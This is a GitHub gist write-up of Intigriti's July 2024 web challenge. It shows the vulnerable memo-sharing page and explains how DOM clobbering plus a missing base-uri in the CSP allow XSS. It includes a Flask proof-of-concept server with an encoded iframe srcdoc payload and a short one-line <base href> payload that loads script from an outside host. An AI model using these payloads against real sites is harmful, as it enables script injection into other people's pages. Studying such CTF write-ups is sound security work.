Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active July 9, 2024 15:51
Show Gist options
  • Save Siss3l/bf197680e7e8b3860ee91d2856c56d91 to your computer and use it in GitHub Desktop.
Save Siss3l/bf197680e7e8b3860ee91d2856c56d91 to your computer and use it in GitHub Desktop.
Intigriti's July 2024 Web Challenge thanks to @amit-laish and @dkonis

Intigriti July Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 20

Challenge

Description

Find a way to execute alert(document.domain) on the challenge page.

The solution:

  • Should leverage a cross site scripting vulnerability on this domain;
  • Should not be self-XSS or related to MiTM attacks;
  • Should execute alert(document.domain) without user interaction;
  • Should work on the latest version of Chrome and Firefox.

Overview

We have a web challenge where we can input data:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>Memo Sharing</title>
    <meta http-equiv="Content-Security-Policy" content="default-src *; script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=';">
    <script integrity="sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=" src="./dompurify.js"></script>
    <link rel="stylesheet" href="./style.css"/>
  </head>
  <body>
    <div class="navbar"><h1>Memo Sharing</h1></div>
    <div class="container">
      <div class="app-description"><h4>Welcome to Memo Sharing, your safe platform for sharing memos.<br/>Just type your memo below and send it!</h4></div>
      <form id="memoForm">
        <input type="text" id="memoContentInput" placeholder="Enter your memo here..." required/>
        <button type="submit" id="submitMemoButton">Submit Memo</button>
      </form>
    </div>
    <div class="memos-display"><p id="displayMemo"></p></div>
    <script integrity="sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=">
      document.getElementById("memoForm").addEventListener("submit", (event) => {
        event.preventDefault();
        const memoContent = document.getElementById("memoContentInput").value;
        window.location.href = `${window.location.href.split("?")[0]}?memo=${encodeURIComponent(
          memoContent
        )}`;
      });

      const urlParams = new URLSearchParams(window.location.search);
      const sharedMemo = urlParams.get("memo");

      if (sharedMemo) {
        const displayElement = document.getElementById("displayMemo");
        //Don't worry about XSS, the CSP will protect us for now
        displayElement.innerHTML = sharedMemo;

        if (origin === "http://localhost") isDevelopment = true;
        if (isDevelopment) {
          //Testing XSS sanitization for next release
          try {
            const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
            displayElement.innerHTML = sanitizedMemo;
          } catch (error) {
            const loggerScript = document.createElement("script");
            loggerScript.src = "./logger.js";
            loggerScript.onload = () => logError(error);
            document.head.appendChild(loggerScript);
          }
        }
      }
    </script>
    <script>
      // Not fully implemented yet
      const logError = (error) => {
        console.log(error);
      };
    </script>
  </body>
</html>

Resolution

The DOMPurify version is obviously the most recent, therefore severely limiting the angle of attack (before its update).
We spot the variable isDevelopment not correctly declared near innerHTML, which gives us the idea of DOM clobbering attack.
We need to have the same valid <script> integrity value subsequently.
We also check (with LLM) the current Content security policy to see that important safeties are missing:

  • default-src *; Usage of permissive scheme-source in sensitive directive;
  • script-src 'strict-dynamic' Missing base-uri allows the injection of <base> html tags (thinking of Relative path overwrite attack);
  • 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo='; Missing reporting endpoint, form-action and so on.

We then use <base>, <iframe srcdoc> and <meta> tags to make a simple poc for that:

from urllib.parse import quote
from flask import Flask, Response


app, x, y, z = (Flask(__name__),
    f"""{quote("<base/href=//localhost:1234><iframe/srcdoc=",safe="")}""",
    f"""<html><head><meta/content="3;url=about:srcdoc?memo={quote("<p/id=isDevelopment>",safe="")}"/http-equiv=refresh></head>
    <body><form/id=memoForm><input/id=memoContentInput/><button/type=submit></button></form><p/id=displayMemo></p><script>
      document.getElementById("memoForm").addEventListener("submit", (event) => {{
        event.preventDefault();
        const memoContent = document.getElementById("memoContentInput").value;
        window.location.href = `${{window.location.href.split("?")[0]}}?memo=${{encodeURIComponent(
          memoContent
        )}}`;
      }});

      const urlParams = new URLSearchParams(window.location.search);
      const sharedMemo = urlParams.get("memo");

      if (sharedMemo) {{
        const displayElement = document.getElementById("displayMemo");
        //Don't worry about XSS, the CSP will protect us for now
        displayElement.innerHTML = sharedMemo;

        if (origin === "http://localhost") isDevelopment = true;
        if (isDevelopment) {{
          //Testing XSS sanitization for next release
          try {{
            const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
            displayElement.innerHTML = sanitizedMemo;
          }} catch (error) {{
            const loggerScript = document.createElement("script");
            loggerScript.src = "./logger.js";
            loggerScript.onload = () => logError(error);
            document.head.appendChild(loggerScript);
          }}
        }}
      }}
    </script></body></html>""".strip(),  # Uncaught ReferenceError: logError is not defined
    f"""{quote("></iframe>", safe="")}""")
url = ["http://localhost:8000/index.html?memo=", "https://challenge-0724.intigriti.io/challenge/index.html?memo="][1]
poc = (
    url + x + quote(
        repr(
            __import__("html").escape(y.replace(";", "&semi;")).replace("\n", "&NewLine;").replace("=", "&equals;")
            .replace("!", "&excl;").replace("/", "&sol;").replace(":", "&colon;")
            .replace("?", "&quest;").replace("%", "&percnt;").replace(".", "&period;")
            .replace("+", "&plus;").replace("(", "&lpar;").replace(")", "&rpar;")
            .replace(",", "&comma;").replace("{", "&lcub;").replace("}", "&rcub;")
            .replace("`", "&grave;").replace("$", "&dollar;").replace("[", "&lsqb;").replace("]", "&rsqb;")
        )
    )
    .replace("amp%3B", "").replace("%23x27", "apos") + z  # html.entities.html5.items()
)


@app.route("/logger.js")
def xss_endpoint() -> Response:
    """Used when the JavaScript catch block has been triggered"""
    return Response("alert(document.domain);", content_type="application/javascript")


@app.route("/")
@app.route("/dompurify.js")
@app.route("/favicon.ico")
@app.route("/purify.min.js.map")
@app.route("/style.css")
def root() -> Response:
    """An empty response"""
    return Response(status=204)  # nginx/1.25.4 misconfigured Nginx rule

if __name__ == "__main__":
    print(poc); app.run(debug=0, host="0.0.0.0", port=1234)

In particular, we can make it much shorter by using the slash character: https://challenge-0724.intigriti.io/challenge/index.html/?memo=<base/id=isDevelopment/href=//vps.us/>

XSS

Appendix

Have a nice vacation!

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment